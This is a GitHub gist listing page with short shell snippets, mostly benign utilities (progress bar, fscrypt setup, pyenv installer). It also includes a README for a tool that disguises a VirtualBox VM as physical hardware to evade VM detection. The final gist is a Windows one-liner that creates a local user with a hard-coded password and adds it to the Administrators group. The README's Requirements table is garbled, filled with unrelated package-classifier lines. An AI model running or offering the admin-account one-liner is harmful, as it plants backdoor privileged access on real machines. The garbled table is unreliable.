Skip to content

Instantly share code, notes, and snippets.

@x42en
x42en / README.md
Created May 22, 2026 09:56
Simple VM detection mitigation

vm_hide

Reconfigure a VirtualBox VM so that its guest operating system perceives it as a physical server rather than a virtual machine. The script rewrites the DMI/SMBIOS strings, the storage device identity, the NIC vendor OUI, and the CPUID brand string, and disables the paravirtualization provider that would otherwise leak VBox/KVM to the guest.

Hardware profiles are stored in profiles.json next to the script. At startup, an interactive menu lists every profile defined in that file and lets the operator choose which one to apply.

Requirements

Tool Purpose
Development Status :: 1 - Planning
Development Status :: 2 - Pre-Alpha
Development Status :: 3 - Alpha
Development Status :: 4 - Beta
Development Status :: 5 - Production/Stable
Development Status :: 6 - Mature
Development Status :: 7 - Inactive
Environment :: Console
Environment :: Console :: Curses
Environment :: Console :: Framebuffer
@x42en
x42en / progressBar.sh
Created August 4, 2022 12:52
HTOP like color bar - BASH progress bar
#!/bin/bash
ansi() { printf "\e[${1}m${*:2}\e[0m"; }
bold() { ansi 1 "$@"; }
dgreen() { ansi "1;32" "$@"; }
green() { ansi "1;92" "$@"; }
yellow() { ansi "1;93" "$@"; }
orange() { ansi "38;5;214" "$@"; }
red() { ansi "1;91" "$@"; }
lblue() { ansi "1;96" "$@"; }
@x42en
x42en / deleteFileFrom.sh
Last active December 21, 2020 18:59
A simple bash script to delete files using a specific file date as reference
#!/bin/bash
# Exemple of using getopts from:
# https://stackoverflow.com/questions/192249/how-do-i-parse-command-line-arguments-in-bash
# saner programming env: these switches turn some bugs into errors
set -o errexit -o pipefail -o noclobber -o nounset
# -allow a command to fail with !’s side effect on errexit
# -use return value from ${PIPESTATUS[0]}, because ! hosed $?
! getopt --test > /dev/null
@x42en
x42en / fsencrypt.sh
Created January 3, 2020 16:33
Bash script used to setup home directory encryption on Ubuntu 18.04 LTS using fscrypt
#!/bin/bash
# Script based on tutorial
# http://tlbdk.github.io/ubuntu/2018/10/22/fscrypt.html
if [[ "$EUID" -ne 0 ]]; then
echo "[!] Sorry this script need to be run as root."
exit 1
fi
@x42en
x42en / macbuntu.sh
Last active December 9, 2019 19:38
Macbuntu install party
#!/bin/bash
# Transform Ubuntu 18.04 or Linux Mint 19 to MacBuntu
# https://www.noobslab.com/2018/08/macbuntu-1804-transformation-pack-ready.html
# If you want to change another version Ubuntu or Linux Mint?
# Search MacBuntu for your version on https://www.noobslab.com/search?q=MacBuntu
INSTALL_LOG='/tmp/macbuntu_install.log'
# Setup workspace
@x42en
x42en / mattermost_upgrade.sh
Created December 2, 2019 13:44
Mattermost Entreprise Edition upgrade automation tool
#!/bin/bash
echo "..:: Mattermost Upgrade ::.."
function usage {
echo "Usage: $0 [VERSION NUMBER]"
exit 1
}
INSTALLDIR='/opt'
@x42en
x42en / net_interfaces.sh
Created April 26, 2019 09:22
Bash ninja to retrieve network interfaces name
# List all interfaces
ip a | grep "^[[:digit:]]:[[:space:]]" | awk '{print $2}' | sed s/://g
# List all interfaces except loopback
ip a | grep "^[[:digit:]]:[[:space:]]" | grep -v 'lo:' | awk '{print $2}' | sed s/://g
# List all connected interfaces
ip a | grep "^[[:digit:]]:[[:space:]]" | grep -F 'state UP' | awk '{print $2}' | sed s/://g
@x42en
x42en / pyenv_installer.sh
Last active March 16, 2019 09:46
Python virtual environment (pyenv + pipenv) installation - tested on debian 9 only
#!/bin/bash
# Setup constants
PYTHON_DEFAULT="3.6.8"
# Pickup some version from "pyenv install --list"
# Careful some version are not working depending of you hardware/OS target
PYTHON_VERSIONS=("2.5.6","2.7.12","2.7.15","3.5.3","3.5.6","3.6.8","3.7.2","3.8-dev")
# Detect bash version
if [[ -n "$ZSH_VERSION" ]]; then
@x42en
x42en / add_admin.cmd
Last active September 5, 2018 16:14
Add user to Windows Administrator group
net localgroup | findstr /i admin | (set /p adm= & set adm | (net user usr s0rry! /add && net localgroup %adm:~1% usr /add))